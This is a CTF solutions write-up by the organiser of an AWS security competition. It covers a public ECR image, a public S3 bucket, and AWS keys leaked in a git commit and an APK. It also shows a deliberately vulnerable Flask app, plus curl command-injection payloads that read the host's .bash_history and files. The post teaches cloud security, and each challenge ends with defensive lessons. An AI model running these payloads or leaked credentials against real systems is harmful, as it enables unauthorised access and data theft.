AWS Student Community Day Nepal was a remarkable event that brought together cloud-enthusiasts students and professionals across Nepal from all regions. Once again kudos to AWS Cloud Club Nepal for this event that empowered students by offering good exposure on AWS including travel scholarships. It was an honor to be part of this event, contributing in shades of shadow by creating challenges for the Capture The Flag(CTF) competition.
Eventually, AWS CTF became the highlight of the event. I was able to connect and collaborate during the creation of CTF with different clubs [Women in CyberSecurity Nepal, Pentester] members. This AWS CTF tested out the participants’ insights of AWS service with cloud security. As a cloud security advocate and the author of CTF challenges, I am excited to share this detailed write-up.
We opened the registration a week before the event and by the final days, we had registered over 100 participants. Initially, I wrote only 5 labs which was enough within 3 three-hour timespan. Due to the overwhelming number of participants including professional security community group members, I had to make an additional 2 within a day outside my office working hours as well. Unlike traditional CTF, it was focused particularly AWS centric challenges. It was the first ever happened such CTF in Nepal.
Due to heavy rain and climate condition of the event venue[kathmandu], I missed this event physically. But I was in the shadow operating the whole CTF which was cool at the weekend. Thank all the volunteers for making this event successful.
The competition was awesome and participants were excited whenever they got the flag of the challenge. Some even got rick-rolled during the challenge. I had some awesome feedback as well to improve such CTF in the future.
I leverage the open-source tools for the CTF Event platform, CTFd. Our whole challenges including the platform CTFd was at AWS. We kept out the infrastructure and running till the next weekend. Let’s get through the challenge that happened over AWS Student Community Nepal’s CTF.
Table of Contents
Open Table of Contents
Overview of the Challenges
Mistaken Image
This challenge involves finding out the ECR image which was mistakenly made public and exposed some doors over the internet.
- Inputs: https://github.com/ajutamangdev/serverless
- Hints: Public ECR Image
Let’s begin by cloning the repository.
git clone https://github.com/ajutamangdev/serverless
cd serverless
cat README.md
Content of the README.md
# Welcome to the CTF Challenge
Click here to retrieve the [flag](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Hints: [r4s1p1w2/awscloudclubnepal]
We can see some hints again r4s1p1w2/awscloudclubnepal. It might be possibly public ECR image. Let’s check over the history of commits as well.
> git log
commit c6fb7e416dcf518c9424a993dfdc8f895f89dbe3 (HEAD -> main, origin/main, origin/HEAD)
Author: ajutamang
Date: Fri Sep 27 17:57:38 2024 +0545
chore: add some hints for the mistaken image challenge
commit 09108a742169bbcbc6e82d4ad5ae97b0df84462d
Author: ajutamang
Date: Fri Sep 27 17:46:45 2024 +0545
fix: docs README.md
commit 4db018697ca5ee18954470ad91062f6e5532ca3c
Author: ajutamang
Date: Fri Sep 27 17:45:53 2024 +0545
docs: README.md AKIAUGO4KMZB3BZCJ5ML fKlEEWlXZomMuTPxP3AgCsjf2ORr1nkkh8lGc1Fy
For graphical view via Git Hub.
Note that in the initial commit, we can see the developer accidentally pushed AWS credentials as well. We can keep a note for this as well which might be usable.
Navigate over Gallery of ECR image. Search out the r4s1p1w2/awscloudclubnepal.
Pulled the ECR image and ran the image as a container.
docker pull public.ecr.aws/r4s1p1w2/awscloudclubnepal:latest
sudo docker run -it public.ecr.aws/r4s1p1w2/awscloudclubnepal
/ # ls
bin etc home media opt root sbin sys usr
dev flag lib mnt proc run srv tmp var
/ # cd flag
/flag # ls
flag.txt
/flag # cat flag.txt
CTF{nyLLUw66QXkETtij}
Key Lessons
- Ensure ECR images are private unless there is a specific need for them to be public.
Pwned the Bucket
This challenge involves identifying an S3 bucket, exploiting misconfiguration, and uncovering the useful data stored in an S3 bucket.
- Input: ctf.csaju.com
- Hint: Use an S3 inspector tool like S3Khoj to find sensitive files in the public bucket.
With such a response, we prefer this to be related to the S3 bucket. Use nslookup for further information gathering and check where ctf.csaju.com points to .
> nslookup ctf.csaju.com
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
ctf.csaju.com canonical name = awscommunitydayctf.s3.ap-south-1.amazonaws.com.
awscommunitydayctf.s3.ap-south-1.amazonaws.com canonical name = s3-r-w.ap-south-1.amazonaws.com.
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.66.51
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.211.161
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.210.175
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.210.171
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.211.152
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.212.0
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.212.60
Name: s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.158.170
You can in the result point to s3 bucket [awscommunitydayctf.s3.ap-south-1.amazonaws.com]. Try to go over the bucket.
aws s3 ls s3://awscommunitydayctf --no-sign-request
Bucket is public and it exposes all the public objects inside of it. You can use AWS CLI to dump all those objects and retrieve the flag.
aws s3 sync s3://awscommunitydayctf dump --no-sign-request
cd dump
cat pdf/main.inc
As hint suggested use S3 inspector like S3Khoj. You can clone the repository release the binary and utilize it.
git clone https://github.com/ajutamangdev/S3Khoj
cd S3Khoj
make build
./S3Khoj -h
Ensure you have installed Go lang and build essentials. You can also pull the S3Khoj binary via docker.
For more references.
Once you installed the S3Khoj. Use -b flag to name out the public S3 bucket.
> S3Khoj -b awscommunitydayctf -d
_________________ ____ __.__ __
/ _____/\_____ \| |/ _| |__ ____ |__|
\_____ \ _(__ <| < | | \ / _ \ | |
/ \ / \ | \| Y ( <_> ) | |
/_______ //______ /____|__ \___| /\____/\__| |
\/ \/ \/ \/ \______|
S3Khoj is a robust tool designed for pentesters to extract juicy information from the publicly accessible S3 buckets
[+] Bucket 'awscommunitydayctf' is publicly accessible.
Bucket found in region ap-south-1
[+] Found matching file 'index.html' in bucket 'awscommunitydayctf'
[+] Found matching file 'pdf/main.inc' in bucket 'awscommunitydayctf'
Matching files: [index.html pdf/main.inc]
All files: [backup/main.py doc/main.docx flag.mp3 index.html main.css main.js pdf/1.pdf pdf/main.inc]
Skipping non-matching file: backup/main.py
Skipping non-matching file: doc/main.docx
Skipping non-matching file: flag.mp3
Downloaded: awscommunitydayctf_downloads/index.html
Skipping non-matching file: main.css
Skipping non-matching file: main.js
Skipping non-matching file: pdf/1.pdf
Downloaded: awscommunitydayctf_downloads/pdf/main.inc
Total files downloaded: 2
Retrieve the flag.
cat awscommunitydayctf_downloads/pdf/main.inc
CTF{vZoF4sRjNxTVJXrI}
Key lesson
- Ensure the bucket’s permission is correctly set to prevent unauthorized access and public buckets should be avoided unless explicitly required.
- Implement workflows to monitor changes in bucket configurations, ensuring any accidental exposure is detected and mitigated promptly.
- Tools like S3Khoj can help security teams or penetration testers discover misconfigurations and sensitive files in public S3 buckets. Regularly scan and audit public S3 buckets using such tools to identify potential risks.
Breached the DB
This challenge involved the exposure of the database and led to several stuff.
- Inputs: https://awscloudclubnepal.com
Fuzz out the URL and you will be able to perform GET over url/.secrets/backup.db.
curl https://awscloudclubnepal.com/.secrets/backup.db
Once you have downloaded the file .db which is sqlite one. Import the backup.db using sqlite3.
sqlite3 backup.db
You can export those credentials on a custom AWS profile or override your default profile.
aws --region us-east-1 --profile custom-profile dynamodb scan --table-name awscloudclubnepal
Serverless
This challenge is about the enumeration of serverless function apps.
Remember we had this repository earlier as well.
Let’s export noted credentials in our default profile or custom one which was exposed by the developer accidentally over commit messages.
Key Lessons
- Review git logs regularly to ensure sensitive information hasn’t been accidentally pushed.
- Pre-commit hooks to scan for sensitive information before the developer commits to the repository.
aws lambda list-functions --region ap-south-1
{
"Functions": [
{
"FunctionName": "EnvBreaches",
"FunctionArn": "arn:aws:lambda:ap-south-1:288761734723:function:EnvBreaches",
"Runtime": "python3.10",
"Role": "arn:aws:iam::288761734723:role/service-role/EnvBreaches-role-9b68sucr",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 420,
"Description": "A starter AWS Lambda function.",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2024-09-24T11:26:41.000+0000",
"CodeSha256": "v1xwIoDXIUeuD0DlTfWkCCHYaQpg/RAtlvvfc1IfpV4=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"SECRET_KEY": "CTF{wow_congrats}"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
Balti
This challenge is about reverse engineering and finding out the flag one.
- Input: Reverse engineer the provided APK file and find the flag.
- Hint: Name of the challenge and access through it
Use Android RE tools like apktool or jadx to decompile apk files. Using jadx you can able to see hardcoded AWS credentials on the codebase. AWS credentials allow you to authenticate and interact with AWS services.
Let’s export those credentials first and perform some enumeration.
aws sts get-caller-identity
{
"UserId": "AIDAUGO4KMZB4PGSYXVZZ",
"Account": "288761734723",
"Arn": "arn:aws:iam::288761734723:user/mobile"
}
Next will be listing out the IAM policies attached to the user account[mobile]. We can see that user has S3 and IAM policy resources.
aws iam list-attached-user-policies --user-name mobile
{
"AttachedPolicies": [
{
"PolicyName": "oggy_bhai",
"PolicyArn": "arn:aws:iam::288761734723:policy/oggy_bhai"
},
{
"PolicyName": "IAMReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}
]
}
Let’s examine the permission of oggy_bhai policy. This policy grants read access to specific S3 buckets.
aws iam get-policy-version --policy-arn arn:aws:iam::288761734723:policy/oggy_bhai --version-id v11
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowSpecificBucketActions",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::oggyandcockroachesbucket",
"arn:aws:s3:::oggyandcockroachesbucket/*"
]
},
{
"Sid": "AllowIAMPolicyReadAccess",
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Resource": "arn:aws:iam::288761734723:policy/oggy_bhai"
}
]
},
"VersionId": "v11",
"IsDefaultVersion": true,
"CreateDate": "2024-09-27T11:11:45+00:00"
}
}
Since the policy allows access to the oggyandcockraochesbucket bucket, let’s list the contents and sync them locally.
aws s3 ls s3://oggyandcockroachesbucket
oggy.txt
aws s3 sync s3://oggyandcockroachesbucket .
download: s3://oggyandcockroachesbucket/oggy.txt to ./oggy.txt
cat oggy.txt
tLgxjcbrlmkAoYdR
Key Lessons
- Avoid hardcoding sensitive credentials in your application codebase.
- Always follow the principle of least privilege. Over-permissive policies can lead to serious security breaches.
Escape your vessel
This challenge was around discovering the hidden endpoints on a web server running inside the container and having container privilege escalation vulnerability.
- Input: 13.234.195.12
- Hint: Check over Docker privilege escalation
To begin, let’s fuzz the input URL for hidden endpoints. I used ffuf to identify hidden endpoints with my custom directory wordlist.
ffuf -w common.txt -u http://13.234.195.12/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://13.234.195.12/FUZZ
:: Wordlist : FUZZ: /home/csaju/Documents/ctf/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
hi [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 52ms]
health [Status: 200, Size: 10, Words: 3, Lines: 1, Duration: 67ms]
:: Progress: [4734/4734] :: Job [1/1] :: 283 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
wordlist: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt
From this, we discovered two endpoints
- /hi
- Accept POST requests
- /health
- Accept GET request that returned a simple health check-update
We then tested the endpoint by sending a POST request with a simple command injection payload.
curl -X POST http://13.234.195.12/hi -d 'command=ls'
Dockerfile
app.py
The endpoint was vulnerable to command injection which allows us to execute system commands. Let’s investigate the source code to understand how it works.
curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
FROM python:3.9-slim
WORKDIR /app
COPY . /app
RUN pip install flask
EXPOSE 80
CMD ["python", "app.py"]
Dockerfile revealed that app was running a flask server.
curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/')
def home():
return 'Welcome to AWS Student Community Day'
@app.route('/health')
def health():
return 'Site is up'
@app.route('/hi', methods=['POST'])
def execute():
command = request.form.get('command')
result = os.popen(command).read()
return result
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
From here, the execute() function in /hi endpoint allowed commands to be executed on the underlying system. During further investigation, the container had access to the host’s file system. The host directory was mapped to the root of the host machine. Let’s confirm.
curl -X POST http://13.234.195.12/hi -d 'command=df -h'
Filesystem Size Used Avail Use% Mounted on
overlay 6.8G 3.2G 3.6G 47% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/root 6.8G 3.2G 3.6G 47% /host
devtmpfs 2.0G 0 2.0G 0% /host/dev
tmpfs 2.0G 0 2.0G 0% /host/dev/shm
tmpfs 783M 1004K 782M 1% /host/run
tmpfs 5.0M 0 5.0M 0% /host/run/lock
/dev/loop1 26M 26M 0 100% /host/snap/amazon-ssm-agent/7993
/dev/loop0 56M 56M 0 100% /host/snap/core18/2829
/dev/loop2 39M 39M 0 100% /host/snap/snapd/21759
/dev/xvda16 881M 133M 687M 17% /host/boot
/dev/xvda15 105M 6.1M 99M 6% /host/boot/efi
/dev/loop3 56M 56M 0 100% /host/snap/core18/2846
/dev/loop4 75M 75M 0 100% /host/snap/core22/1621
/dev/loop5 26M 26M 0 100% /host/snap/amazon-ssm-agent/9565
Let’s inspect the bash history of the host’s user so we can retire content from files.
curl -X POST http://13.234.195.12/hi -d 'command=cat /host/home/ubuntu/.bash_history'
Based on bash_history, recent changes were at /var/log directory and some files. Let’s retrieve content there.
curl -X POST http://13.234.195.12/hi -d 'command=cat /host/var/log/flag.txt'
CTF{PC1RVV1ZA2OI5AP}
This was also an AWS $25 credit coupon voucher which was eventually received by the participant.
Lessons
- Always sanitize user inputs to prevent attackers from executing arbitrary commands.
- Ensure your container doesn’t have unnecessary access to the host file system.
Exposed volume
This challenge was about exploiting a public snapshot of the volume.
- Input : https://awscloudclubnepal.com
- Hint : Check out the robots.txt
Majority hints were free and didn’t reduce the points.
Let’s dive into robots.txt of awscloudclubnepal.com The content of the robots.txt file revealed a snapshot.
Let’s confirm whether the snapshot is public or not. A developer might accidently make the snapshot public leading to more exposure to their environment.
Let’s mount the snapshot to our instance to explore the contents of the volume. You should provision out the instances initially.
You have options to create the volume or release the image. Create a new volume from the snapshot.
Attached it to a running healthy instance.
Mount it to the file system and explore the content of the file of the snapshot’s volume.
Key Lessons:
- Ensure that snapshots in AWS are not publicly accessible unless intended.
- Regularly audit your cloud environment for misconfiguration like public snapshots.
Conclusion
Congratulations to the winners!
It was fascinating to see such diverse participants in the AWS CTF, and it was particularly inspiring to witness the strong presence of women taking on challenges, highlighting the importance of diversity in cybersecurity; I learned a lot from their feedback after the event, and I extend a heartfelt thank you to all the volunteers who made this event successful;
Additionally, this experience reinforced the significance of securing cloud services and inspired me to give back to the AWS Student community, motivating me to continue pushing forward in my career.